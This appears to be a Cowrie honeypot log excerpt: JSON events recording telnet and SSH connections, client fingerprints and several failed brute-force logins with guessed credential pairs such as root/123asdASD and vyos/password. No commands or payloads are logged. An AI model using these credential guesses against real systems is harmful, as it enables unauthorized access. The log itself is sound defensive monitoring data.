{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56860,"dst_ip":"10.17.0.5","dst_port":23,"session":"28365f68b31d","protocol":"telnet","message":"New connection: 152.42.224.71:56860 (10.17.0.5:23) [session: 28365f68b31d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:03:16.724784Z"}
{"eventid":"cowrie.session.closed","duration":51.423463344573975,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:03:20.989050Z","src_ip":"152.42.224.71","session":"16b4fc1ae97f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.922175884246826,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:03:21.632871Z","src_ip":"152.42.224.71","session":"1ab14c45b390","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"guest","password":"123456","message":"login attempt [guest/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:03:27.222167Z","src_ip":"47.237.167.49","session":"4206c7a4baa0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1","password":"root1","message":"login attempt [root1/root1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:03:27.830965Z","src_ip":"47.237.167.49","session":"cadeca9dfdf8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"61.7","message":"Connection lost after 61.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:03:28.742326Z","src_ip":"47.237.167.49","session":"4206c7a4baa0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"82.2","message":"Connection lost after 82.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:03:29.085455Z","src_ip":"47.237.167.49","session":"cadeca9dfdf8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.19007062911987,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:03:29.874051Z","src_ip":"152.42.224.71","session":"3bada3fcd389","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.65084934234619,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:03:33.004651Z","src_ip":"152.42.224.71","session":"74ce66ebcb26","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.11603498458862,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:03:34.559434Z","src_ip":"152.42.224.71","session":"51e765ead309","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45604,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf65debda26d","protocol":"telnet","message":"New connection: 152.42.224.71:45604 (10.17.0.5:23) [session: cf65debda26d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:03:39.083544Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45606,"dst_ip":"10.17.0.5","dst_port":23,"session":"c2a04faea7ec","protocol":"telnet","message":"New connection: 152.42.224.71:45606 (10.17.0.5:23) [session: c2a04faea7ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:03:40.137475Z"}
{"eventid":"cowrie.session.closed","duration":47.829832792282104,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:03:45.995115Z","src_ip":"152.42.224.71","session":"209f45438207","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00599932670593,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:03:50.124912Z","src_ip":"152.42.224.71","session":"185388ad170e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47550,"dst_ip":"10.17.0.5","dst_port":23,"session":"b979d15c57de","protocol":"telnet","message":"New connection: 152.42.224.71:47550 (10.17.0.5:23) [session: b979d15c57de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:03:50.269189Z"}
{"eventid":"cowrie.session.closed","duration":48.05011963844299,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:03:50.578097Z","src_ip":"152.42.224.71","session":"637c2d3dd8c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":55.78319692611694,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:03:51.144339Z","src_ip":"152.42.224.71","session":"4c69c4a7219d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57782,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3f470173235","protocol":"telnet","message":"New connection: 152.42.224.71:57782 (10.17.0.5:23) [session: e3f470173235]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:03:56.562568Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.36.79","src_port":59510,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce435de95fd9","protocol":"ssh","message":"New connection: 103.82.36.79:59510 (159.203.135.109:22) [session: ce435de95fd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:03:57.432285Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:03:57.437572Z","src_ip":"103.82.36.79","session":"ce435de95fd9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:03:57.701313Z","src_ip":"103.82.36.79","session":"ce435de95fd9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rhfcfdbwf","message":"login attempt [root/rhfcfdbwf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:03:58.513620Z","src_ip":"103.82.36.79","session":"ce435de95fd9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:03:59.775937Z","src_ip":"103.82.36.79","session":"ce435de95fd9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57786,"dst_ip":"10.17.0.5","dst_port":23,"session":"11b9a6042fca","protocol":"telnet","message":"New connection: 152.42.224.71:57786 (10.17.0.5:23) [session: 11b9a6042fca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:04:00.751840Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57800,"dst_ip":"10.17.0.5","dst_port":23,"session":"10b180fc7127","protocol":"telnet","message":"New connection: 152.42.224.71:57800 (10.17.0.5:23) [session: 10b180fc7127]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:04:01.671693Z"}
{"eventid":"cowrie.session.connect","src_ip":"181.188.172.6","src_port":58290,"dst_ip":"159.203.135.109","dst_port":22,"session":"52506d4fa494","protocol":"ssh","message":"New connection: 181.188.172.6:58290 (159.203.135.109:22) [session: 52506d4fa494]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:04:02.570897Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:04:02.576045Z","src_ip":"181.188.172.6","session":"52506d4fa494","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:04:02.698462Z","src_ip":"181.188.172.6","session":"52506d4fa494","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123asdASD","message":"login attempt [root/123asdASD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:04:03.211003Z","src_ip":"181.188.172.6","session":"52506d4fa494","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:04:04.335449Z","src_ip":"181.188.172.6","session":"52506d4fa494","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00747442245483,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:04:11.161437Z","src_ip":"152.42.224.71","session":"120778126bd6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39194,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ef10d3a9ed5","protocol":"telnet","message":"New connection: 152.42.224.71:39194 (10.17.0.5:23) [session: 6ef10d3a9ed5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:04:12.525593Z"}
{"eventid":"cowrie.session.closed","duration":37.55660557746887,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:04:16.640011Z","src_ip":"152.42.224.71","session":"cf65debda26d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":50136,"dst_ip":"159.203.135.109","dst_port":22,"session":"b0485b1a8c0a","protocol":"ssh","message":"New connection: 37.233.85.71:50136 (159.203.135.109:22) [session: b0485b1a8c0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:04:17.811665Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:04:17.816842Z","src_ip":"37.233.85.71","session":"b0485b1a8c0a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:04:17.921407Z","src_ip":"37.233.85.71","session":"b0485b1a8c0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"margosha","message":"login attempt [root/margosha] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:04:18.235104Z","src_ip":"37.233.85.71","session":"b0485b1a8c0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:04:19.342412Z","src_ip":"37.233.85.71","session":"b0485b1a8c0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.650182962417603,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:04:20.919206Z","src_ip":"152.42.224.71","session":"b979d15c57de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.89718961715698,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:04:22.034518Z","src_ip":"152.42.224.71","session":"c2a04faea7ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57772,"dst_ip":"10.17.0.5","dst_port":23,"session":"65be1b0f2f08","protocol":"telnet","message":"New connection: 152.42.224.71:57772 (10.17.0.5:23) [session: 65be1b0f2f08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:04:22.058301Z"}
{"eventid":"cowrie.session.closed","duration":120.00672149658203,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:04:27.319080Z","src_ip":"152.42.224.71","session":"58b1c635478b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46132,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4eaaa9ce8ab","protocol":"telnet","message":"New connection: 152.42.224.71:46132 (10.17.0.5:23) [session: b4eaaa9ce8ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:04:28.037174Z"}
{"eventid":"cowrie.session.closed","duration":120.00572085380554,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:04:32.446739Z","src_ip":"152.42.224.71","session":"d926c1f933d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.23107981681824,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:04:34.793517Z","src_ip":"152.42.224.71","session":"e3f470173235","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":32834,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e872ef1a3e6","protocol":"telnet","message":"New connection: 152.42.224.71:32834 (10.17.0.5:23) [session: 4e872ef1a3e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:04:36.708286Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.238.160.191","src_port":59818,"dst_ip":"159.203.135.109","dst_port":22,"session":"3cd1e0dc9451","protocol":"ssh","message":"New connection: 170.238.160.191:59818 (159.203.135.109:22) [session: 3cd1e0dc9451]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:04:37.575750Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:04:37.581250Z","src_ip":"170.238.160.191","session":"3cd1e0dc9451","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:04:37.692447Z","src_ip":"170.238.160.191","session":"3cd1e0dc9451","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vyos","password":"password","message":"login attempt [vyos/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:04:38.166333Z","src_ip":"170.238.160.191","session":"3cd1e0dc9451","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:04:39.279984Z","src_ip":"170.238.160.191","session":"3cd1e0dc9451","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00620937347412,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:04:44.134733Z","src_ip":"2.15.172.90","session":"08fa728a77c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.15.172.90","src_port":34592,"dst_ip":"10.17.0.5","dst_port":23,"session":"942d5278a260","protocol":"telnet","message":"New connection: 2.15.172.90:34592 (10.17.0.5:23) [session: 942d5278a260]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:04:47.364228Z"}
{"eventid":"cowrie.session.closed","duration":39.32043647766113,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:04:51.845889Z","src_ip":"152.42.224.71","session":"6ef10d3a9ed5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.75620245933533,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:04:52.427776Z","src_ip":"152.42.224.71","session":"10b180fc7127","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.58636021614075,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:05:08.644459Z","src_ip":"152.42.224.71","session":"65be1b0f2f08","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.06790113449097,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:05:08.776015Z","src_ip":"152.42.224.71","session":"4e872ef1a3e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59078,"dst_ip":"10.17.0.5","dst_port":23,"session":"e13b008d18da","protocol":"telnet","message":"New connection: 152.42.224.71:59078 (10.17.0.5:23) [session: e13b008d18da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:05:09.730544Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59066,"dst_ip":"10.17.0.5","dst_port":23,"session":"dae1766dba29","protocol":"telnet","message":"New connection: 152.42.224.71:59066 (10.17.0.5:23) [session: dae1766dba29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:05:11.083524Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59090,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e4e0e4609e3","protocol":"telnet","message":"New connection: 152.42.224.71:59090 (10.17.0.5:23) [session: 4e4e0e4609e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:05:13.575322Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59106,"dst_ip":"10.17.0.5","dst_port":23,"session":"d94afbc89ec8","protocol":"telnet","message":"New connection: 152.42.224.71:59106 (10.17.0.5:23) [session: d94afbc89ec8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:05:14.554796Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59658,"dst_ip":"10.17.0.5","dst_port":23,"session":"d684fbac7d22","protocol":"telnet","message":"New connection: 152.42.224.71:59658 (10.17.0.5:23) [session: d684fbac7d22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:05:16.149239Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":47230,"dst_ip":"10.17.0.5","dst_port":22,"session":"307cab5ed59f","protocol":"ssh","message":"New connection: 103.173.227.57:47230 (10.17.0.5:22) [session: 307cab5ed59f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:05:16.287360Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:05:16.295352Z","src_ip":"103.173.227.57","session":"307cab5ed59f","protocol":"ssh"}
